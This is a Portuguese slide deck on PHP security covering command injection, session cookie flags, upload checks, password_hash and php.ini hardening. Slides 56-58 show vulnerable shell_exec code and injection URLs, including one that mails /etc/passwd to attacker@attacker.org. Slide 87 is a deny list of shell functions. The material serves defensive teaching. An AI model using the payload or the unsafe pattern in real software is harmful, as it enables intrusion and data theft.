  • 55. Command Injection ● Permite o atacante injetar códigos shell maliciosos. ● Normalmente quando você usa o input do usuário para criar um comando shell.
  • 56. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?>
  • 57. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;ls
  • 58. Command Injection <?php echo shell_exec('cat '. $_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;mail attacker@attacker.org </etc/passwd
  • 59. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename']));
  • 60. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename'])); OR echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
  • 62. Segurança de Sessão ● Flag httponly, php.ini: session.cookie_httponly = 1 Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
  • 63. Segurança de Sessão ● Flag use_only_cookies, php.ini: session.use_only_cookies = 1 Desabilita a possiblidade de setar o ID da sesssão via GET.
  • 64. Segurança de Sessão ● Flag cookie_secure, php.ini: session.cookie_secure = 1 Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
  • 65. Session hijacking <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); }
  • 67. Upload de arquivos - Dicas Armazene os arquivos enviados fora do diretório raiz do app web.
  • 68. Upload de arquivos - Dicas Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma imagem.
  • 69. Upload de arquivos - Dicas <?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; exit; }
  • 70. Upload de arquivos - Dicas Não armazene os arquivos usando o nome original configurado no formulário. Gere um nome randômico ao salvar.
  • 72. hash e senhas Sempre usar hash para armazenar senhas em banco de dados.
  • 73. hash e senhas md5(), sha1() ?
  • 74. hash e senhas password_hash(), crypt() ?
  • 75. password_hash() ● >= PHP 5.5 ● Utiliza o algoritimo BCrypt ● Compatível com a função crypt()
  • 76. password_hash() <?php // geração do hash $hash = password_hash($senha, PASSWORD_DEFAULT); // verificando se o hash corresponde if (password_verify($password, $hash)) { // Sucesso! } else { // Credenciais Inválidas }
  • 77. password_hash() ● utilizar capacidade de 255 caracteres ● salt e cost são gerados pela API
  • 80. php.ini ● expose_php = off HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-type: text/html; charset=UTF-8
  • 82. php.ini ● display_errors = off log_errors=On error_log=/var/log/apache/php_error.log
  • 84. php.ini ● allow_url_fopen = off previne remote code injections (include/require/file_get_contents)
  • 85. php.ini ● max_execution_time = 30 ● memory_limit = 40M
  • 86. php.ini ● max_execution_time = 30 ● memory_limit = 40M Evita ataques DOS
  • 87. php.ini ● disable_functions = exec,passthru, shell_exec,system,proc_open,popen, curl_exec,curl_multi_exec,parse_ini_file, show_source
  • 89. php.ini ● open_basedir="/var/www/" restringe o diretório onde o php pode manipular arquivos
  • 90. Perguntas ? douglas.pasqua@gmail.com http://www.douglaspasqua.com twitter: @dpasqua